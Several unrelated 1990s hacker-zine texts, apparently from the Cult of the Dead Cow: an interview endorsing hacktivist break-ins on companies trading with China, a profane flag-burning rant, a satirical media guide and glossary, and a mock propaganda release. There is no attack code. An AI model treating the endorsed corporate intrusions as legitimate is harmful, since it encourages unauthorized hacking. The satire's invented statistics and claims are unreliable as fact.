several days and determines your future. There is nothing like it here.
The pressure for students is unbearable. It's study, study, study --
for months. Before, I was bragging about not studying, but for that
test I did. I was accepted at [a university] where I did an
undergraduate degree, and for my next degree I studied abroad, you know,
graduate work, research, and so. I wanted to teach. I was lucky about
getting accepted into [a university in the UK], so things seemed on the
right course.
O: But things didn't stay on course. What provoked you to change your
plans?
B: A massacre. I had finished my studies and was preparing to go on
short vacation through Europe before returning to China. This was just
as the democracy movement was beginning to swell in the spring of 1989.
We all -- not just the Chinese students, but everyone -- we watched
television reports [about the demonstrations] with tremendous
enthusiasm. We were getting faxes, email, phone calls. It was serious,
but at the same time, it was almost like a big party. We were amazed at
how much support there was for the students from the people. And there
was a lot of excitement around Gorbachev and his visit to Beijing which
took place during that time. So many factors, you know. But as the
final days approached I began to feel very uncomfortable, almost like
sick. When the tanks went into the square and began shooting and
running over people it was like I was a little boy again, watching my
father being killed. I couldn't believe it -- so terrible. Then the
big lie. The government's first response was that it never happened.
I was at a student pub in London when this was broadcast. An
engineering student from Shanghai just went berserk and destroyed the
television. So much grief, so much anger.
O: And it was shortly after this that you arrived in Canada?
B: Yes. I knew some students at Concordia [in Montreal] who were very
helpful to get me a visa. My first two years here were very dark, very
depressing. Something inside me broke and I could not get going. There
was first the shock of the killings, then realizing that I could just
not go back. All my plans were dashed. I was worried about my mother,
you know, so many things. I couldn't work in my field. I was working
in a convenience store, in the Plateau [in Montreal]. It was ghastly.
O: And you ended up in Toronto. How did that happen?
B: I met a Chinese businessman who took me under his wing. I learned how to
make money, and ended up making a lot of it. Real estate, investing,
buying futures. I did something totally different from my training, and
it just sort of snapped me out of it. I moved to Toronto where the
Chinese community is much larger. I met you shortly after I arrived. The
rest is history.
O: Leave me out of the history. I'm justa middle man.
B: Don't be ridiculous.
O: Look, let's just move along. People aren't interested in this stuff.
B: No. That isn't right. I must acknowledge the help we have gotten, the
direction. You showed me everything about Western hackers. Chaos, Legion
of Doom, MoD, everyone. When I understood how far the Cult of the Dead
Cow reached into the hacker world, and how things were organized, I was
able to take the best and use it for our struggle.
O: Well, that's kind, but really, the hacker community can be very chaotic.
It's not what I'd call a well oiled machine. There is no discipline, not
like with the Blondes.
B: We have different agendas. But still, if it weren't for the hackers, we
wouldn't be as far ahead as we are. We owe you a lot.
O: Alright, then. On behalf of alla the hackers that ever lived, I accept.
Cheers ... Earlier you mentioned that you thought that there was a sort
of shift, that younger hackers seemed to want to use their skills to
contribute to some sort of social change. I keep getting asked how
people can help the Hong Kong Blondes, how they can contribute, and I
guess now would be a good time to ask you that same question. What can
people do, hackers, members of the general public, anyone, what can they
do to help the Blondes?
B: You are the king of set ups. We've already talked about this.
O: Shut up, jackass. Just pretend like you've heard this for the first
time.
B: Alright, the first thing is this. There are many ways to get involved to
support the struggle for human rights in China. Becoming aware is the
beginning. Just talking about it is important, educating yourself. But
if we are talking about the hacker community, you know, what they can
do, this really is a matter of personal choice. I think that if people
want to participate they should use the skills that they have. That is
all they can do.
O: That's pretty oblique. What about the Yellow Pages? I think now would be
a good time to talk about them.
B: Sorry. Yes, the Yellow Pages. They are mostly students in the United
States and Europe.
O: What, no Canadians? Damn!
B: And Canadians ...
O: Yes!
B: ... who will be using the Internet to help us.
O: And how will the little buggers be doing that?
B: Alright. This requires a little background. One of the reasons that
human rights in China are not further ahead is because they have been
de-linked from American trade policy. What this means is that when human
rights considerations were associated with doing business with the
United States, at least there was the threat of losing trade relations,
of some form of punishment. Now this just doesn't exist. Beijing
successfully went around Congress and straight to American business, so
in effect, businessmen started dictating foreign policy. There are huge
lobbies in Washington that only spend money to ensure that no one
interferes with this agenda. It's very well organized, and it doesn't
end there. Henry Kissenger ...
O: Former Secretary of State under Richard Nixon, etc.
B: Yes, Kissenger is now convinced that he is running Chinese foreign
policy and has made obscene amounts of money by connecting American
businesses to Chinese markets, and at the same time, he's denouncing any
kind of linkage between trade and progress on human rights issues as an
intrusion into national sovereignty. Every other former Secretary of
State and National Security Advisor for the past twenty-five years is
now working for Kissinger and doing the same thing. And Bill Gates is
another offender. In 1996 he publicly endorsed China's position that
human rights in China should not even be discussed at an annual meeting
of the United Nations Commission on Human Rights. By taking the side of
profit over conscience, business has set our struggle back so far that
they have become our oppressors too.
O: So, shall we come back to the Yellow Pages?
B: Yes. The Yellow Pages will make life challenging for American companies
doing business with China.
O: And how will they do that?
B: By exposing them. By naming them and possibly worse.
O: And by possibly worse, you mean what?
B: Let us be frank here. Many of these companies have computer networks and
there are a lot of members in the Yellow Pages who have excellent
hacking skills.
O: I see. Let your fingers do the stalking.
B: What?
O: Nothing. How can people get involved? Is membership in the Yellow Pages
open, closed? What?
B: Membership is open to anyone who wants to get involved. There are groups
forming in many places. Anyone can start a new cell, but the main thing
is to be careful. No foolish gestures.
O: And by holding these companies' feet to the fire, this will help human
rights in China?
B: You tell me. You understand how these things work.
O: O.K., it won't change the world but it will raise the issue in a
different way and that is important. George Kennan once remarked that
the smallest amount of progress in international relations was
significant even though it might not seem like much on the surface. In
the same way, I think that something will come out of this venture
because it's just wacky enough to grab people's attention. I mean, who
would put hacking corporate networks together with human rights in
China? It's pretty stretched out, but it makes perfect sense to me. I
think that journalists, at least the ones that don't work in Washington,
will take a look at this and start asking questions.
B: We will be attacked. This idea will be attacked like anything.
O: I know, but I don't really care. It is better to light a candle than to
curse the darkness. Look, we have to help with the strategy because it
sure as hell isn't coming from the political classes. Look at Bill
Clinton. He makes his nice feel-good trip to China and comes back
gushing about, one day there'll be democracy in China. The guy's an
idiot. I mean, if I want advice from the President about getting a blow
job from a young girl, I'm all ears, but about the chances for political
reform in China, no way. He doesn't have the competence or the moral
authority to speak about these things.
B: You are not a fan of Mr. Clinton's.
O: Oh, man, you know I'm not. But let's get back to the Yellow Pages.
B: Alright. What shall we say?
O: Who will control them, or at least, where will their direction come
from?
B: They will direct themselves. This will be a disintermediated engagement.
O: Damn, nice lingo. And how will they know who to go after? How will the
Yellow Pages identify companies that do business with China?
B: They'll have to ask. They'll have to educate themselves. The Web is a
remarkable tool for doing research and posting one's findings. Just look
at what it did for Netscape.
O: Yeah, the Netscape revolution. We must all study Chairman Jim thought.
B: That is correct.
O: So really, what we're saying is that we're basically gonna turn alla
these kids loose on American companies. That could get messy.
B: We are turning no one loose. The Yellow Pages are independent of us [the
Hong Kong Blondes] and the cDc.
O: Yeah. We have enough problems with, um, certain kinds of attention. The
[Yellow] Pages are their own thing.
B: That is correct. But coming back to, how is it you said, that it could
get messy? Human rights is an international issue, so I don't have a
problem with businesses that profit from our suffering paying part of
the bill. Perhaps then they will see the wisdom of putting some
conditions on trade. But I think, more importantly, many young people
will become involved in something important on their own terms. I have
faith in idealism and youth. It took us a long way in 1989. I believe
that it will help us again.
O: Amen. O.K., one last thing, then let's go eat.
B: Yes?
O: We, the Cult of the Dead Cow, are complete media whores, but the Hong
Kong Blondes are something very different. Why did you agree to this
interview?
B: Not for the kind of publicity you might think. We just need to have
people know that we exist for now. It is like an insurance policy you
could say. If anyone [of the Hong Kong Blondes] were arrested the
possibility of execution or long imprisonment is quite real. In China,
so much happens quietly, or behind closed doors. If someone is known,
sometimes just that is enough to keep them alive, or give hope. So for
that reason I'm saying we exist that certain things, we are doing. It is
not for fame, no. So this insurance policy, it is something that no one
wants to use, but sometimes it is good to take precautions. This is my
first and last interview. Now I can go back to being invisible.
O: Not before you pay for your beer, jerky boy. Anyway, it's been a slice.
Any parting words? Advice for the kids, rules to live by, whatever?
B: I've said enough. Let's go.
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"Desecrating"(?) The Flag
I'm getting sick and tired of all these "Patriots" who fulminate about the
dozen-odd flag burnings a year, and how The Precious Symbol Of Our Country
NEEDS the protection of a Constitutional Amendment!
Sod Off!
You want to know what the real desecration of the flag is? It's that there are
veterans of WW II, Korea, Viet-Nam, et al, who are homeless. These men and
women who volunteered to offer "that last, full measure of devotion" in the
defense of their country, are reduced to sleeping on the streets. You over-fed,
knee-jerk patriots cross the fucking street to avoid that ragged, smelly
individual pleading for spare change. You don't care that he helped liberate
South Korea inch by inch, under unspeakable hardships, or that he answered a
call to fight for freedom in Viet-Nam, or that he got dosed by nerve gas in
Iraq. No, you fat fuckers don't give a rat's ass about him, but you all PISS
yourselves over the thought that some bozo might burn a flag and that the
Federal Government needs to come down on him with both jackbooted feet.
So SCREW THE FLAG and WIPE MY ASS WITH IT! As long as there are veterans who
don't have a safe place to sleep, food to eat, and the medical, physical and
psychiatric care they deserve, then the flag is being desecrated far worse than
anyone could do with a can of naptha and a Zippo!
The Government has always considered veterans as a disposable commodity. Use
them and then throw them away. From the very first, the surviving veteran has
always been the first to be screwed by the Feds, and the last to be succored.
Even today, the bullshit from the Feds about Gulf War Syndrome is sickening.
These men and women are sick, they are dying, they are giving birth to
seriously deformed children. This is not all in their minds. The Government
just wants to weasel out of paying for their care and treatment.
That the surviving veterans of America's wars do not take up arms and march on
D.C., DEMANDING redress of their grievances amazes me.
Well, not really. They tried that once before, right after World War I.
Something called the "Bonus March." When they reached Washington, D.C., they
wound up being FIRED UPON by the same Army they once served in, on the direct
orders of the President.
One day, though, the Hired Help in the White House, on the Hill and in the
Pentagon, will be called forth (hopefully at bayonet point) to answer for their
sins of omission and commission.
And then, perhaps, the Government-Sanctioned Desecration of the Flag will
cease.
Don't hold your breath waiting for it to happen, though.
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Eventually it happens to everybody. The producer asks you to put
together a segment on computer crime or the hacker subculture. Sounds easy
enough. You already have a couple ideas. And luckily you have that
friend-of-a-friend who knows that hacker who went to jail.
But once you start actually writing, you realize that your script is
sounding as trite as anything you've ever seen. No matter how much you
try to jazz it up, it looks like every other hacker spot you've seen.
Pretty soon you're downright desperate for ideas.
Here's a suggestion: don't agonize over what will end up being just
another derivative news piece anyway. Instead, let this document help
you produce yet another mediocre story about computer hackers.
TABLE OF CONTENTS
TITLE
TOPIC
IMPENDING THREATS
STATISTICS
THE LEAD
MOVIE CLIPS
DEFINITIONS
MONEY SHOTS
ANIMATIONS
INTERVIEWS
SHOOTING YOUR SUBJECTS
Computer Hackers
Settings
Inserts
Law Enforcement Officials
Settings
Inserts
Security Experts
Settings
Inserts
The Closing
Appendix A: Statistics
Appendix B: Interview Subjects
Appendix C: Vernhackular
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TITLE
Start by selecting the working title of your piece. In many news
organizations, the title isn't even chosen by the producer of the piece,
so it's often a waste of time to come up with something good, just to
have it retitled at the last minute. And even if you DO get to choose
your own title, it doesn't matter. Nobody remembers them.
Regardless, it's easier to avoid writer's block once you have a title.
Here are some examples to get you thinking. (Of course, if you're really
short on time, just crib one without modification.)
- The Cyberwarriors
- At Your Digital Doorstep
- The Digitally Depraved
- Hacking The Planet
- How Secure Are You Really?
- Is Your Data Safe?
- Dialing for Mayhem
TOPIC
Now choose a topic corresponding to a recent computer crime. This can be
very easy. Just check out the AntiOnline web site for recent hacker
news. The site is written for the layperson with some understanding of
vernhackular. <http://www.antionline.com/>
If AntiOnline doesn't help, then this can be hard. Check the newspapers,
magazines, chat boards... ferret out some recent computer crimes. If you
can find a fresh event falling into one of these categories, write it
down (if you don't have time for that, then just pick one that sounds good):
- Banking systems/ATM network penetration
- Cryptography
- Cyber terrorism/electronic pearl harbor
- Hacktivism
- Identity theft
- Military or Fortune 100 systems penetration
- Online privacy
- Personal data theft
- Proliferation of Increasingly Sophisticated Hacking Tools
- International Hacker Gatherings
IMPENDING THREATS
The phrase "electronic Pearl Harbor" has crept into the national
consciousness. It encompasses the commonly-cited worst case scenarios in
the computer hacking sphere. This set of impending cataclysms includes
the disruption or obliteration of any the following computer systems:
- Military sites protecting nuclear, biological, or chemical agents
- Air Traffic Control systems
- Communications satellites
- Interstate power grids
- 911 systems
- Metropolitan mass transit systems
- Hospital systems (patient record databases)
- National credit databases
- The Internet backbone itself
STATISTICS
You know the deal with statistics: no one can verify them, so don't worry
about quoting your sources. They're just guesses anyway. Well, this
wisdom is ESPECIALLY true in the case of computer crime.
So grab a useful statistic from a print story, or use one of those
provided in Appendix A. In a pinch you can just make something up. No
one will have any idea.
THE LEAD
If you don't have time to write your own, try this sure-fire intro.
"[CYBER TERRORISM]. With the recent [SHUTDOWN OF THE PUBLIC LIBRARY
SYSTEM], it's been on everybody's mind. We've all heard stories of
computer hackers [DISRUPTING AIR TRAFFIC CONTROL COMPUTERS] and
[DISABLING 911 SYSTEMS], but just how big a problem is this? According
to statistics, [20 MILLION HACKS ARE PERPETRATED EACH YEAR]. With odds
like that, it makes you wonder: how safe are we really?"
MOVIE CLIPS
Consider the use of a movie clip to hook your audience right away. At
least some of these films are familiar to most of your audience, even the
ones who don't have computers.
Grab a suitable sequence from one of the following flicks and open your
story with it.
- Goldeneye
- Hackers
- Lawnmower Man
- The Net
- Terminator 2
- Real Genius
- Sneakers
- Speed 2
- Superman III
- Wargames
- The Armchair Hacker
- Tron
ABOUT DEFINITIONS
Explain the technical jargon to your audience as each term arises. Your
intro may require the use of one or more terms, but resist the urge to
explain everything at once. It's boring, and it won't work anyway.
Ask your interview subjects to explain any jargon they use. While
they're at it, ask them to explain the jargon used by anyone you
interviewed previously. Someone else may be better at explaining
something than the person who actually used the term.
If an explanation differs substantially from that offered in Appendix C,
use the one offered by your source. Things change so rapidly on the
Internet that words are often redefined.
MONEY SHOTS
These are the clips of hackers sharing the fruits of their labor. Your
story should have at least one of these.
- Hacked web sites (FBI, CIA, DOJ, NASA, etc.)
- Purloined data scrolling across monitor
- Screenful of cracked passwords
ANIMATIONS
If you need them, here are some tried-and-true ideas for CG elements.
- Packets served across the Internet
- Satellite hacking
- Virus infecting files
- Files being deleted
- Calls being traced
INTERVIEWS
There are just three categories of subjects worthy of on-camera
interviews: computer hackers, law enforcement officials, and security
experts.
Whenever you interview any of these subjects, you must determine their
credentials. By this we mean the following:
* number of years in their respective roles
* famous exploits
* membership in appropriate organizations
* authorship of any books or articles on the topic
* relevant jail time
* whether the subject has been featured in any previous interviews
ABOUT SHOOTING YOUR SUBJECTS
Just four simple rules, all of which you should already know.
Rule number one: always shoot the subject working at a computer. This is
absolutely crucial, never omit it.
Rule number two: conduct the interview in the subject's habitat, but away
from the computer.
Rule number three: get lots of closeups. Room decorations, computer
systems, keyboards, bookshelves, anything visually appealing. You will
need these for cutaways.
Rule number four: get full coverage on the subject. This can mean more
than closeups and reverse shots. Shoot ECUs of prominent jewelry,
t-shirt logos, badges, holsters, ID tags, whatever. More cutaway material.
computer hackers
----------------
SETTINGS
- hacker in his habitat
- anti-Microsoft propaganda (posters, bumper stickers, etc.)
- pro-UNIX propaganda
- 2600 magazine
- Phrack
- anonymous hacker in nondescript hotel room
- features obliterated
- silhouette against scary backlight
- mosaic face
- hacker conventions
- Defcon
- Hohocon
- HOPE
- Summercon
- dumpster
- bank of payphones
INSERTS
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- unusual hairdos
- body piercings
- tattoos
- 2600 t-shirt
- leather jacket
- equipment
- computers, plural
- keyboards
- CRTs
- misc. gadgetry
- software tools
- L0phtCrack
- Satan
- Back Orifice
- internet chat rooms
- #hack
- #cDc
law enforcement officials
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FBI agents, Secret Service agents, local police officers, anyone from the
Department of Justice, local district attorneys, etc.
SETTINGS
- server room
- cubicle
INSERTS
- building entrance
- nametag
- badge
- gun
- bookshelves
security experts
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These come in two flavors: computer security consultants, and computer
privacy advocates.
Security consultants (usually themselves former hackers or law
enforcement) are paid consultants who sell their insight into the
methodology and ideology of the typical hacker. Usually self-employed.
Computer privacy advocates are private individuals who speak out publicly
regarding threats to personal liberty in cyberspace. Favorite topics
include: export restrictions on certain cryptographic materials, the
validity of various data encryption schemes, and the potential
vulnerability of critical information systems.
SETTINGS
- server room
- telephone equipment room
- cubicle
INSERTS
- storefront / sign
- bookshelves
THE CLOSING
Nothing special here. Just a few sentences that re-emphasize the topic.
Remember that no matter the precise issue, the general message should be
to fear the relentless and unstoppable legion of computer hackers.
Perhaps you could close with an epigram. In which case, you should crack
open Bartlett's Quotations. Try one of these topics: COMPUTER, DANGER,
MENACE, PERIL, RISK, THREAT, TREACHERY, VULNERABLE.
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APPENDIX A - STATISTICS
<http://cnn.com/TECH/computing/9804/06/computer.security/>
Nearly 80 percent of U.S. businesses have been victims of computer crimes.
58 percent of Fortune 1000 companies have experienced computer
break-ins. 18 percent of that group suffered more than $1 million in losses.
<http://www.defcon.org/TEXT/5/larrylange-eetimes-winn.html>
According to the FBI, 122 countries across the world currently have
online hacking capabilities.
We know that in the neighborhood of 20 million hacks a year are occurring
worldwide.
<http://www.technopolitics.com/scripts/tp06-06-97.html>
The average cyberheist nets $250,000 with a less than one
percent rate of conviction.
Only 17 percent of the major corporations and financial institutions that
have been intruded actually report it.
75 percent of the Fortune 500 companies have been successfully penetrated.
The average loss that they concede is about $100,000.
The FBI estimates that the total losses from these electronic rip offs
range from a rock bottom figure of $500 million a year up to $10 billion.
cDc Media List
_Rocky Mountain News_, August 18, 1996, "Air Force battles computer hackers",
pg 42A. Hundreds of thousands of times a year, the Cyberwarrior
[the U.S. Air Force Information Warfare Center] defends the nation's secrets
from the members of the Legion of Doom and the CULT of the DEAD COW in a
battlefield that spans the globe.
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APPENDIX B - INTERVIEW SUBJECTS
Try these organizations' web sites for up-to-date contact info.
HACKERS
- 2600 Magazine
<http://www.2600.com/>
- Chaos Computer Club
<http://www.ccc.de/>
- Cult of the Dead Cow
<http://www.cultdeadcow.com/>
- L0pht Heavy Industries
<http://www.l0pht.com/>
- New Hack City
<http://www.newhackcity.net/>
- Phrack
<http://www.phrack.com/>
- r00t
<http://www.r00t.org/>
LAW ENFORCEMENT
- Federal Bureau of Investigation
<http://www.fbi.gov/>
- Secret Service
<http://www.treas.gov/usss/>
- San Jose Police Department
<http://www.sjpd.org/>
SECURITY EXPERTS
- Cypherpunks
<ftp://ftp.csua.berkeley.edu/pub/cypherpunks/Home.html>
- Electronic Frontier Foundation
<http://www.eff.org/>
- Bruce Schneier
<http://www.counterpane.com/>
- Tsutomu Shimomura (tsutomu@sdsc.edu)
<http://www.takedown.com/>
- Cliff Stoll (stoll@ocf.berkeley.edu)
<http://www.ocf.berkeley.edu/~stoll/>
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APPENDIX C - VERNHACKULAR
These are some of the more common vocabulary items.
ATTACK: a specific tactic designed to generate some kind of malfunction,
usually to grant or deny computer access -- syn. EXPLOIT
BACK DOOR: Leaving behind a hidden or nonobvious method to regain system
access during subsequent visits
BLACK HAT: a malicious hacker who defies the Hacker Ethic -- ant. WHITE HAT
CARDING: credit card fraud, typically for mailorder goods
CRACKER: contemptuous term for hacker, or abbrev. for password cracker
DENIAL OF SERVICE: an attack designed to prevent the productive use of a
computer system, by overworking the computer beyond its operational limits
DUMPSTER DIVING: looking through the garbage for discarded equipment,
useful information, or other materials -- syn. TRASHING
EXPLOIT: see attack
HACKER: a person skilled or expertised in methods of hacking computer
systems
HACKER ETHIC: an informal code of conduct designed to preserve the
integrity of a hacked computer system and its contents, the terms of
which generally prohibit the contamination or destruction of valuable
data or other resources
HACKING: the process of gaining unauthorized access to a computer system
HACKTIVISM: a term first coined by THE CULT OF THE DEAD COW to describe one
brand of activism practiced by the HONG KONG BLONDES; a policy of hacking,
phreaking, or creating technology to achieve a political or social goal
HANDLE: a hacker's chosen alias, or nom-de-hack
MAN IN THE MIDDLE: an attack wherein a malicious agent seeks to intercept
communications between two computers and rewrite certain message contents
OWNED: a computer whose security has been entirely neutralized by a hacker
PACKET SNIFFER: a computer program designed to reveal the contents of all
network traffic within earshot of the computer, not just the data bound
for that particular system
PASSWORD CRACKER: a computer program designed to extract the passwords of
a given system's user database, usually employing a method of brute force
or dictionary comparison
PHREAK: a person skilled or expertised in methods of phone phreaking
PHREAKING: manipulating the telephone system in order to reroute phone
calls, avoid billing, or otherwise defraud the phone company
SECURITY THROUGH OBSCURITY: the tactic of protecting something by keeping
secret all its details
SNIFFER: abbrev. for packet sniffer
SOCIAL ENGINEERING: any means of convincing someone to willingly furnish
information which is unavailable to the general public, usually by posing
as someone with a legitimate need
SPOOFING: making it appear that data originating from an untrusted
computer is actually coming from a trusted one
TRASHING: see dumpster diving
TROJAN HORSE: any piece of software intentionally infected with a virus,
and purposely provided to others
VIRUS: a small computer program devised to be undetectable and duplicate
itself
WAREZ: illegally-duplicated computer software products
WHITE HAT: a mediagenic hacker who adheres to the Hacker Ethic -- ant.
BLACK HAT
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CDC COMMUNICATIONS PRESS RELEASE. LUBBOCK, TX. AUGUST 18, 1994.
TO THE ENTIRE PARTY MEMBERS AND PEOPLE:
OUR ENTIRE WORKING CLASS, COOPERATIVE FARMERS, OFFICERS AND MEN OF THE
PEOPLE'S ARMY, INTELLECTUALS, YOUTH AND STUDENTS, THE CENTRAL COMMITTEE OF THE
WORKERS' PARTY OF CDC, THE CENTRAL MILITARY COMMISSION OF THE PARTY, THE
NATIONAL DEFENCE COMMISSION, THE CENTRAL PEOPLE'S COMMITTEE AND THE
ADMINISTRATION COUNCIL OF THE DEMOCRATIC PEOPLE'S REPUBLIC OF CDC REPORT TO THE
ENTIRE PEOPLE OF THE COUNTRY WITH GREATEST JOY THAT THE GREAT LEADER COMRADE
SWAMP RATTE', FOUNDER OF THE INTERNET, GENERAL SECRETARY OF THE CENTRAL
COMMITTEE OF THE WORKERS' PARTY OF CDC AND PRESIDENT OF THE DEMOCRATIC PEOPLE'S
REPUBLIC OF CDC, HAS RESURRECTED.
OUR RESPECTED FATHERLY LEADER WHO HAS DEVOTED HIS WHOLE LIFE TO THE
POPULAR MASSES' CAUSE OF INDEPENDENCE AND ENGAGED HIMSELF IN TIRELESS AND
ENERGETIC ACTIVITIES FOR THE PROSPERITY OF THE MOTHERLAND AND THE HAPPINESS OF
THE PEOPLE, FOR THE REUNIFICATION OF THE COUNTRY AND INDEPENDENCE OF THE WORLD,
TILL THE LAST MOMENTS OF HIS LIFE, DEPARTED FROM US TO OUR GREATEST SORROW, AND
THEN RETURNED TO US IN OUR GREATEST JOY!
IT IS THE BIGGEST GAIN TO OUR PARTY AND REVOLUTION AND THE GREATEST JOY OF
THE WHOLE NATION THAT COMRADE SWAMP RATTE', FOUNDER OF THE INTERNET, THE GREAT
LEADER OF OUR PARTY AND OUR PEOPLE AND OUR TENDER-HEARTED FATHER, RESURRECTED
UNEXPECTEDLY AT THIS HISTORICAL MOMENT WHEN OUR SOCIALIST CAUSE IS MAKING A
LONG DRIVE THROUGH MANIFOLD DIFFICULTIES AND TRIALS AND A NEW PHASE IS OPENING
BEFORE OUR REVOLUTION AND NATIONAL REUNIFICATION.
BORN INTO A FAMILY WHICH HAD BEEN PATRIOTIC AND REVOLUTIONARY THROUGH
GENERATIONS, THE RESPECTED LEADER COMRADE SWAMP RATTE', FOUNDER OF THE
INTERNET, GREW TO BE A GREAT REVOLUTIONARY, NURSING HIS GRAND ASPIRATIONS FOR
NATIONAL LIBERATION AT THE TIME OF MOST TRYING NATIONAL DISTRESS.
IN THE LONG PERIOD FROM THE DAY WHEN HE EMBARKED ON THE ROAD OF REVOLUTION
IN HIS EARLY YEARS TO HIS ADVANCED AGE OF EIGHTIES, HE WISELY LED OUR PARTY AND
OUR PEOPLE, PERFORMING GREAT EXPLOITS WHICH WILL SHINE FOREVER IN OUR NATIONAL
HISTORY AND HUMAN HISTORY.
HE IS AN OUTSTANDING THINKER AND THEORETICIAN AND GENIUS OF LEADERSHIP WHO
FOUNDED THE IMMORTAL JUCHE IDEA AND LED THE REVOLUTION AND CONSTRUCTION ALONG A
ROAD OF VICTORY BY SUCCESSFULLY APPLYING IT, AND A GREAT LEADER OF THE PEOPLE
WHO MOVED THE PEOPLE MOST DEEPLY AND DEVOTED HIS ALL TO THEM.
THE GREAT LEADER COMRADE SWAMP RATTE', FOUNDER OF THE INTERNET, IS THE
GREATEST OF GREAT MEN WHO HAS ALL THE QUALITIES AND TRAITS OF A GREAT MAN ON
THE HIGHEST LEVEL AND ENJOSED DEEP REVERENCE AND RESPECT FROM ALL OUR PEOPLE
AND THE WORLD PEOPLE.
A PEERLESS PATRIOT AND LEGENDARY HERO, HE LAID DOWN THE JUCHE-BASED LINE
OF THE CDC REVOLUTION IN THE DARKEST PERIOD OF FASCISM AND VICTORIOUSLY LED THE
20 YEARS OF THE ANTI-FASCIST REVOLUTIONARY STRUGGLE, CUTTING THE WAY THROUGH A
SEA OF BLOOD AND FLAMES. THUS, HE ACCOMPLISHED THE HISTORIC CAUSE OF NATIONAL
LIBERATION, OPENED THE WAY OF NATIONAL RESURRECTION AND ESTABLISHED THE
GLORIOUS REVOLUTIONARY TRADITIONS, THE ETERNAL FOUNDATION STONE OF OUR PARTY
AND REVOLUTION.
AFTER THE LIBERATION, THE GREAT LEADER COMRADE SWAMP RATTE', FOUNDER OF
THE INTERNET, INDICATED THE JUCHE-BASED LINE OF BUILDING THE PARTY, THE STATE
AND THE ARMY AND CREDITABLY REALISED IT DESPITE THE COMPLICATED SITUATION.
THUS, HE FOUNDED THE WORKERS' PARTY OF CDC, THE GENERAL STAFF OF OUR
REVOLUTION, FOUNDED THE DEMOCRATIC PEOPLE'S REPUBLIC OF CDC, THE GLORIOUS
MOTHERLAND OF OUR PEOPLE, AND TRAINED OUR PEOPLE'S ARMY WHICH INHERITED THE
TRADITIONS OF THE CDC PEOPLE'S REVOLUTIONARY ARMY INTO INVINCIBLE REVOLUTIONARY
ARMED FORCES.
COMRADE SWAMP RATTE', FOUNDER OF THE INTERNET, A GREAT MILITARY STRATEGIST
AND EVER-VICTORIOUS IRON-WILLED BRILLIANT COMMANDER, SHOULDERING THE HEAVY
BURDENS OF THE HARD-FOUGMO FAOHERLAND LIBERATION WAR, ROUSED THE ARMY AND
PEOPLE IN A HEROIC STRUGGLE FOR VICTORY IN THE WAR, DROVE BACK THE INVASION OF
THE FASCIST ALLIED FORCES AND CREDITABLY DEFENDED THE INDEPENDENCE AND HONOR OF
THE COUNTRY.
COMRADE SWAMP RATTE', FOUNDER OF THE INTERNET, THE GREAT LEADER OF THE
REVOLUTION AND GENIUS OF CREATION AND CONSTRUCTION, WISELY GUIDED OUR PARTY AND
PEOPLE, CUTTING HIS WAY THROUGH AN UNTRODDEN PATH, SUCCESSFULLY CARRIED OUT THE
DEMOCRATIC REVOLUTION AND THE SOCIALIST REVOLUTION WITH THE UNIQUE
REVOLUTIONARY LINE AND POLICY OF CDC STYLE, AND VIGOROUSLY PROMOTED THE
BUILDING OF SOCIALISM, CREATING SOMETHING FROM NOTHING. THUS, HE TURNED OUR
COUNTRY WHERE AGE-OLD BACKWARDNESS AND POVERTY HAD PREVAILED INTO A POWERFUL
COUNTRY, INDEPENDENT, SELF-SUPPORTING AND SELF-RELIANT IN NATIONAL DEFENCE,
MADE OUR PEOPLE A MOST FIGNIFIED AND PROUD, HAPPIEST PEOPLE AND CREATED A MODEL
OF SOCIALISM FOR THE WORLD.
COMRADE SWAMP RATTE', FOUNDER OF THE INTERNET, THE SUN OF THE NATION AND
LODESTAR OF NATIONAL REUNIFICATION, DEFINED THE REUNIFICATION OF THE COUNTRY AS
THE SUPREME TASK OF THE NATION, INDICATED THE MOST JUST PRINCIPLES AND
REASONABLE WAYS FOR THE INDEPENDENT AND PEACEFUL REUNIFICATION OF THE COUNTRY
AND MOBILIZED ALL CULTEES IN THE NORTH, SOUTH AND OVERSEAS IN THE EFFORTS FOR
NATIONAL UNITY AND THE CAUSE OF REUNIFICATION, THUS OPENING A BRIGHT PROSPECT
OF NATIONAL REUNIFICATION.
COMRADE SWAMP RATTE', FOUNDER OF THE INTERNET, THE GENIUS OF MANKIND AND
OUTSTANDING LEADER OF THE INTERNATIONAL COMMUNIST MOVEMENT, CONDUCTED ENERGETIC
ACTIVITIES FOR THE VICTORY OF THE CAUSE OF SOCIALISM, THE STRENGTHENING AND
DEVELOPMENT OF THE NONALIGNED MOVEMENT AND FOR WORLD PEACE AND FRIENDSHIP AND
SOLIDARITY AMONG PEOPLES UNDER THE BANNER OF SOCIALISM, THE BANNER OF
ANTI-IMPEJIALIST INDEPENDENCE, THUS REMARKABLY ENHANCING THE INTERNATIONAL
PRESTIGE AND AUTHORITY OF OUR COUNTRY AND MAKING AN IMMORTAL CONTRIBUTION TO
THE CAUSE OF LIBERATION OF MANKIND.
COMRADE SWAMP RATTE', FOUNDER OF THE INTERNET, THE BENEVOLENT FATHER OF
THE PEOPLE, REGARDING BELIEF IN THE PEOPLE AS IN HEAVEN AS HIS MAXIM IN THE
WHOLE PERIOD OF HIS REVOLUTIONARY ACTIVITIES, ALWAYS FOUND HIMSELF AMONG THE
PEOPLE, SHARED MEAL AND WATER WITH THEM AND MADE TIRELESS EFFORTS, MOVING TENS
OF THOUSANDS OF TONS OF RICE FOR ON-THE-SPOT GUIDANCE, CROSSING HIGH AND STEEP
MOUNTAIN RANGES FOR THE FREEDOM AND HAPPINESS OF THE PEOPLE.
THE WHOLE LIFE OF THE RESPECTED LEADER COMRADE SWAMP RATTE', FOUNDER OF
THE INTERNET, IS THE MOST BRILLIANT LIFE OF A GREAT REVOLUTIONARY WHO FORCED
HIS WAY THROUGH RIGOROUS STORMS OF REVOLUTION, UNDERGOING ALL SORTS OF
DIFFICULTIES AND TRIALS, FOR THE COUNTRY AND THE REVOLUTION AND FOR THE WORKING
CLASS AND THE PEOPLE AND THE MOST GLORIOUS LIFE OF A GREAT LEADER WHO WALKED A
ROAD OF VICTORY, TURNING MISFORTUNE INTO BLISS, ADVERSITY INTO PROSPERITY, WITH
HIS BRILLIANT INTELLIGENCE, OUTSTANDING LEADERSHIP ABILITY AND INDOMITABLE
WILL.
THE RESPECTED LEADER COMRADE SWAMP RATTE', FOUNDER OF THE INTERNET, PROVIDED
THE MOST POWERFUL WEAPON AND ROCK-FIRM FOUNDATIONS FOR OUR REVOLUTION TO
VIGOROUSLY ADVANCE CONTINUOUSLY ALONG THE ROAD OF VICTORY.

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[ x x ] cDc communications [ x x ]
\ / \ /
